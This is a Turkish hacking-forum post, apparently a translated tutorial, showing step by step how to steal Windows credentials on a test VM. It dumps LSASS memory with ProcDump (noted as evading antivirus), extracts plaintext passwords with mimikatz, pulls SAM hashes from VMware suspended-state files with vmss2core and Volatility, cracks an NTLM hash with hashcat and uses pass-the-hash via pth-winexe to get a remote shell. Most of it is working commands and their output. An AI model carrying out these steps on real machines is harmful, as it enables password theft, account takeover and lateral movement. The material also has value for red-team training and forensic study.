Windows Hacking Serisi #2 | Kimlik Bilgilerinizi Alacağım ... Daha Sonra!

Provido

Katılımcı Üye
21 Eki 2015
477
1
Kimlik Bilgilerinizi Alacağım ... Daha Sonra!



İster şifresiz metin ister şifrelenmiş olsun, hepimiz tehlikedeki kimlik bilgilerini Windows makinelerinden almayı seviyoruz. Fakat bazen, bu kimlik bilgilerini kolayca alamıyoruz. Bu konumda, belleği diske boşaltabileceğiniz (onu dışarı atabileceğiniz) ve kimlik bilgilerini daha sonra çıkarabileceğiniz iki durumu kısaca göstermek istiyorum. Bu durumu test amaçlı kullandığım 32 bit Windows 7 VM'de göstereceğim, ancak bu teknikler genel olarak Windows sürümlerinde de işe yarar olmalıdır


Kaynaklar:

ProcDump // Windows Sysinternals - buradan

Mimikatz // Blog de Gentil Kiwi - buradan

The Volatility Foundation // Homepage - buradan

Vmss2core // VMWare Labs - buradan

VMware Snapshot and Saved State Analysis // Volatility Labs - buradan



LSASS'yi Diske Boşaltma


Normalde, bir Windows makine kimlik bilgilerini aldıktan sonra işimiz nispeten daha kolaydır, bu görevi yerine getirebilecek birçok araç ve teknik mevcuttur. Meterpreter'ın yerleşik hashdump'ını kullanabilir veya mimikatz / Windows Credential Editor'ı (WCE) belleğe yansıtarak (met4sploit & poweshell kullanarak) yükleyebilirsiniz. Ancak bazı zamanlar, bu tekniklerin çalışmaz, işte o zaman , bu değerli kimlik bilgilerini elde etmenin yinede bir yolu olabilir. İlk olarak test için, LSASS işlem belleğini diske boşaltmak için Microsoft Sysinternals ProcDump kullanacağız.



Bunu yapmanın birkaç avantajı var:

(1) ProcDump ile herhangi bir AV alarm zilini tetikleme konusunda endişelenmek gereksizdir.

(2) ProcDump Sysinternals'ın bir parçası olduğu için Microsoft imzalı bir ikili dosyadır,

(3) küçüktür ve hedef makinemize aktarımı kolaydır.



Kod:
# Don't forget to use "-accepteula" to av0id any pesky popups. If run on a 64-bit OS you have to add the
  "-64" flag to the command below.
    
C:\Users\Fubar\Desktop\Sysinternals> procdump.exe -accepteula -ma lsass.exe lsass.dmp

ProcDump v7.1 - Writes process dump files
Copyright (C) 2009-2014 Mark Russinovich
Sysinternals - www.sysinternals.com
With contributions from Andrew Richards

[23:42:36] Dump 1 initiated: C:\Users\Fubar\Desktop\Sysinternals\lsass.dmp
[23:42:37] Dump 1 writing: Estimated dump file size is 28 MB.
[23:42:38] Dump 1 complete: 28 MB written in 1.5 seconds
[23:42:38] Dump count reached.

Boşaltmayı hazırladıktan sonra ProcDump çalıştırılabilir dosyasını kaldırabilir ve LSASS minidumpı yerel makinemize çıkartabiliriz. Minidumpı makinemize aldıktan sonra mimiktazı çalıştırabilir ve kimlik bilgilerini çıkarabiliriz. Bunun işe yaraması için, mimiktaz'ı (yerel olarak) hedef makine ile aynı yapıda çalıştırdığımızdan emin olmalıyız. Benjamin Delpy, hedef ve yerel ana bilgisayar arasındaki uyumluluğu göstermek için kullanışlı bir grafik oluşturdu.



credentials_big1.png




Kod:
C:\Users\Fubar\Desktop\Mimikatz\x32> mimikatz.exe

  .#####.   mimikatz 2.0 alpha (x86) release "Kiwi en C" (Sep  1 2014 01:09:47)
 .## ^ ##.
 ## / \ ##  /* * *
 ## \ / ##   Benjamin DELPY `gentilkiwi` ( [email protected] )
 '## v ##'   http://blog.gentilkiwi.com/mimikatz             (oe.eo)
  '#####'                                     with 14 modules * * */

mimikatz# sekurlsa::minidump C:\Users\Fubar\Desktop\lsass.dmp

Switch to MINIDUMP : 'C:\Users\Fubar\Desktop\lsass.dmp'

mimikatz# sekurlsa::tspkg

Authentication Id : 0 ; 1243450 (00000000:0012f93a)
Session           : Interactive from 0
User Name         : user1
Domain            : Win7-Testbed
SID               : S-1-5-21-2436999474-2994553960-2820488997-1003
        tspkg :
         * Username : user1
         * Domain   : Win7-Testbed
         * Password : imsosecurew00tw00t666#@

Authentication Id : 0 ; 291143 (00000000:00047147)
Session           : Interactive from 1
User Name         : Fubar
Domain            : Win7-Testbed
SID               : S-1-5-21-2436999474-2994553960-2820488997-1001
        tspkg :
         * Username : Fubar
         * Domain   : Win7-Testbed
         * Password : password123!

Authentication Id : 0 ; 997 (00000000:000003e5)
Session           : Service from 0
User Name         : LOCAL SERVICE
Domain            : NT AUTHORITY
SID               : S-1-5-19
        tspkg :

Authentication Id : 0 ; 996 (00000000:000003e4)
Session           : Service from 0
User Name         : WIN7-TESTBED$
Domain            : WORKGROUP
SID               : S-1-5-20
        tspkg :

Gördüğümüz gibi, hem "Fubar" (Yönetici) hem de "kullanıcı1" hesapları için şifresiz hash kimlik bilgilerini kurtarmayı başardık.
Yalnızca hedefte etkin bir oturumu olan kullanıcılar için kimlik bilgilerini kurtarabileceğinizi unutmayın.
Gösteri amacıyla "user1" (/ runas user: user1 cmd) olarak bir komut satırını başlattım.



Sanal Makine SSleri ve Şüpheli Durumlar



İkinci olarak test için Sanal Makineleri hedefleyeceğiz. Hedefte bir açık bulduktan sonra, kutunun Sanal Makineleri barındırdığını keşfediyoruz. O makinelerden de taviz versek güzel olmaz mıydı! Vmss2core'a girin, bu toolu Sanal Makinenin ortak dökümünü oluşturmak için kullanabiliriz, EĞER makine askıya alınmışsa (* .vmss) veya anlık görüntü (* .vmsn) denetim noktası durum dosyalarını askıya alınabilir. Bu dosyalar, bir hashdump oluşturmak için volatilite tarafından ayrıştırılır.

Uygun vmss2core sürümünü kullandığınızdan emin olun,benim bu durumda 64-bit OSX sürümüne ihtiyacım var.



Kod:
# We are working with a suspended state so we need to combine *.vmss and *.vmem. If we were
  dealing with a snapshot we would need to combine *.vmsn and *.vmem.
    
Avalon:Tools b33f$ ./vmss2core_mac64 -W
/Users/b33f/********s/VMware/VMs/Win7-Testbed/Windows\ 7.vmwarevm/Windows\ 7-e7a44fca.vmss 
/Users/b33f/********s/VMware/VMs/Win7-Testbed/Windows\ 7.vmwarevm/Windows\ 7-e7a44fca.vmem

vmss2core version 3157536 Copyright (C) 1998-2013 VMware, Inc. All rights reserved.
Win32: found DDB at PA 0x2930c28
Win32: MmPfnDatabase=0x82970700
Win32: PsLoadedModuleList=0x82950850
Win32: PsActiveProcessHead=0x82948f18
Win32: KiBugcheckData=0x82968a40
Win32: KernBase=0x82806000

Win32: NtBuildLab=0x82850fa8
Win: ntBuildLab=7601.17514.x86fre.win7sp1_rtm.101119-1850  # Win7 SP1 x86
CoreDumpScanWin32: MinorVersion set to 7601
... 10 MBs written.
... 20 MBs written.
... 30 MBs written.
... 40 MBs written.
... 50 MBs written.

[...Snip...]

Finished writing core.

Çekirdek bilgilerini dışarı çıkardığımızda volatilitynin işini yapmasına izin verebiliriz. Doğru ayırmak için, hangi bilginin hangi işletim sisteminden geldiğini belirlememiz gerekir.



Kod:
# We can see that volatility is unable to accurately determine the OS profile, however from the vmss2core
  output above we can see that the correct profile is "Win7SP1x86".
    
root@Josjikawa:~/Tools/volatility# ./vol.py imageinfo -f ../../Desktop/memory.dmp

Determining profile based on KDBG search...

          Suggested Profile(s) : Win7SP0x86, Win7SP1x86 (Instantiated with WinXPSP2x86)
                     AS Layer1 : IA32PagedMemoryPae (Kernel AS)
                     AS Layer2 : WindowsCrashDumpSpace32 (Unnamed AS)
                     AS Layer3 : FileAddressSpace (/root/Desktop/memory.dmp)
                      PAE type : PAE
                           DTB : 0x185000L
             KUSER_SHARED_DATA : 0xffdf0000L
           Image date and time : 2014-09-13 19:15:04 UTC+0000
     Image local date and time : 2014-09-13 21:15:04 +0200

"Hivelist" eklentisini kullanarak çeşitli kayıt defteri kovanları için bellek ofsetlerini alabiliriz.



Kod:
root@Josjikawa:~/Tools/volatility# ./vol.py hivelist -f ../../Desktop/memory.dmp --profile=Win7SP1x86

Volatility Foundation Volatility Framework 2.4

Virtual    Physical   Name
---------- ---------- ----
0x988349c8 0x3945a9c8 \??\C:\Users\Fubar\AppData\Local\Microsoft\Windows\UsrClass.dat
0x87a0c008 0x27f9f008 [no name]
0x87a1c008 0x280ed008 \REGISTRY\MACHINE\SYSTEM                # SYSTEM
0x87a3a6b0 0x27d4b6b0 \REGISTRY\MACHINE\HARDWARE
0x87abe5c0 0x2802a5c0 \SystemRoot\System32\Config\DEFAULT
0x880b5008 0x231b7008 \SystemRoot\System32\Config\SECURITY
0x88164518 0x231cc518 \SystemRoot\System32\Config\SAM         # SAM
0x8bd019c8 0x24aec9c8 \Device\HarddiskVolume1\Boot\BCD
0x8bdd2008 0x24772008 \SystemRoot\System32\Config\SOFTWARE
0x8f5549c8 0x1f39e9c8 \??\C:\Windows\ServiceProfiles\NetworkService\NTUSER.DAT
0x90e83008 0x1f09f008 \??\C:\Windows\ServiceProfiles\LocalService\NTUSER.DAT
0x955a9450 0x15468450 \??\C:\System Volume Information\Syscache.hve
0x988069c8 0x3aa329c8 \??\C:\Users\Fubar\ntuser.dat

Şimdi geriye kalan tek şey hash'leri indirmek. Bunu yapmak için volatilitenin "hashdump" modülünü sanal bellek ofsetlerini sahip olduğumuz SYSTEM ve SAM kovanlarına geçirmemiz gerekir.



Kod:
root@Josjikawa:~/Tools/volatility# ./vol.py hashdump -f ../../Desktop/memory.dmp --profile=Win7SP1x86
sys-offset=0x87a1c008 sam-offset=0x88164518

Volatility Foundation Volatility Framework 2.4

Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Fubar:1001:aad3b435b51404eeaad3b435b51404ee:8119935c5f7fa5f57135620c8073aaca:::
user1:1003:aad3b435b51404eeaad3b435b51404ee:7d65996108fccae892d38134a2310a4e:::

Bu Sanal Makine çekirdek dökümleri çok büyük olabilir (1 GB +). Bunları ağ üzerinden aktarmak bir seçenek değilse, hedef makineye her zaman oynaklığın bir kopyasını bırakabilirsiniz. 2.4 sürümünden başlayarak, volatilite Windows, Linux ve OSX için ikili paketlere sahiptir.



Kod:
# Binary package on OSX 10.9.4

Avalon:Volatility-2.4 b33f$ ./volatility_2.4_x64 hashdump -f ../memory.dmp --profile=Win7SP1x86
sys-offset=0x87a1c008 sam-offset=0x88164518

Volatility Foundation Volatility Framework 2.4

Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Fubar:1001:aad3b435b51404eeaad3b435b51404ee:8119935c5f7fa5f57135620c8073aaca:::
user1:1003:aad3b435b51404eeaad3b435b51404ee:7d65996108fccae892d38134a2310a4e:::

Kimlik Bilgileri, Şimdi Ne Olacak?



Kimlik bilgilerini ele geçirdikten sonra onlarla her şeyi yapabilirsiniz, özellikle hash şifrelerimiz varsa. Bununla birlikte, tamamlama için, hedef makinemizden hash yapmak isteyeceğimiz en yaygın iki şeyden kısaca bahsetmek istiyorum.


Parolaların karmaşıklığı düşükse, onları brute-force uygulayabiliriz. Şahsen ben hashcat'i tercih ediyorum, çünkü aynı zamanda GPU kırmayı da destekliyor.



Kod:
# Fubar:1001:aad3b435b51404eeaad3b435b51404ee:8119935c5f7fa5f57135620c8073aaca:::

root@Josjikawa:~/Desktop# echo 8119935c5f7fa5f57135620c8073aaca > hash.out
    
root@Josjikawa:~/Desktop# hashcat -m 1000 hash.out /usr/share/wordlists/rockyou.txt

Initializing hashcat v0.47 by atom with 8 threads and 32mb segment-size...

Added hashes from file hash.out: 1 (1 salts)
Activating quick-digest mode for single-hash

NOTE: press enter for status-screen


Input.Mode: Dict (/usr/share/wordlists/rockyou.txt)
Index.....: 1/5 (segment), 3625424 (words), 33550339 (bytes)
Recovered.: 0/1 hashes, 0/1 salts
Speed/sec.: 10.94M plains, 10.94M words
Progress..: 3625424/3625424 (100.00%)
Running...: --:--:--:--
Estimated.: --:--:--:--

8119935c5f7fa5f57135620c8073aaca:password123!           # Password Policy Fail!

All hashes have been recovered

Input.Mode: Dict (/usr/share/wordlists/rockyou.txt)
Index.....: 2/5 (segment), 3350458 (words), 33550340 (bytes)
Recovered.: 1/1 hashes, 1/1 salts
Speed/sec.: - plains, 10.38M words
Progress..: 2976595/3350458 (88.84%)
Running...: 00:00:00:01
Estimated.: --:--:--:--

Started: Sat Sep 13 17:13:31 2014
Stopped: Sat Sep 13 17:13:31 2014

Diğer gidilecek seçenek, hedef ana bilgisayara erişim sağlamak için toplanan hashleri düzenlemektir. Yine elimizde birçok seçenek var;
****sploit'in psexec modülü aklımıza gelebilir , ancak aynı derecede önemli olan WCE, yerel olarak bir shell oluşturmanıza ve bununla tehlikeli bir hash birleştirmemize izin verir (= Harika, sadece bu bile bir konu yazmaya değer!). Gösteri amacıyla, pth-winexe kullanarak hızlı bir şekilde basit bir komut satırı shell'i oluşturabiliriz.



Kod:
root@Josjikawa:~/Desktop# pth-winexe -U
Fubar%aad3b435b51404eeaad3b435b51404ee:8119935c5f7fa5f57135620c8073aaca //192.168.187.135 cmd

E_md4hash wrapper called.
HASH PASS: Substituting user supplied NTLM HASH...

Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32> whoami
whoami

win7-testbed\fubar

C:\Windows\system32> net user fubar
net user fubar

User name                    Fubar
Full Name                    
Comment                      
User's comment               
Country code                 000 (System Default)
Account active               Yes
Account expires              Never

Password last set            9/13/2014 10:53:52 PM
Password expires             Never
Password changeable          9/13/2014 10:53:52 PM
Password required            No
User may change password     Yes

Workstations allowed         All
Logon script                 
User profile                 
Home directory               
Last logon                   9/13/2014 10:56:21 PM

Logon hours allowed          All

Local Group Memberships      *Administrators       *HomeUsers            
Global Group memberships     *None                 
The command completed successfully.


 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.